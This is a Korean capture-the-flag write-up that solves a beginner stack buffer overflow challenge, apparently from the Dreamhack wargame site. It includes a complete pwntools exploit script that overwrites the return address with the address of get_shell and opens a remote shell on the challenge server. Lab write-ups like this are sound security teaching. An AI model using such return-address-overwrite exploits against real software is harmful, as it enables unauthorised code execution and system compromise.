문제 파일을 다운로드 받고, get_shell() 함수의 주소를 확인한다.

get_shell 함수의 주소는 0x4006aa 이다. 이를 Overwrite하여 셸을 획득한다.
처음에 접속하게 되면 "Input: "이라는 문구가 출력되고, 입력을 받는다.
따라서 pwntools를 이용한다.
익스플로잇에 이용할 페이로드를 구성한다.

Exploit Tech : Return Address Overwrite 예시에 나왔던 것과 동일하게 구성한다.
리틀 엔디언을 적용하면 get_shell 함수의 주소는
\xaa\x06\x40\x00\x00\x00\x00\x00
이 된다.
이제 파이썬 코드를 작성해 보자.
from pwn import *
p=remote("host3.dreamhack.games", 13913)
context.arch="amd64"
code=b'' # 입력으로 전송할 code
code+=b'A'*0x30 # buf
code+=b'B'*0x8 # SFP (Stack Frame Pointer)
code+=b'\xaa\x06\x40\x00\x00\x00\x00\x00' # return address → get_shell()
p.sendlineafter("Input: ", code) # Input: 출력 후 code 전송
p.interactive() # 셸을 획득한 후 상호작용
이를 실행하면

셸이 실행되는데,
$ls
를 해보면 flag 파일이 있다. 이를 열어보면 flag 내용이 나온다.
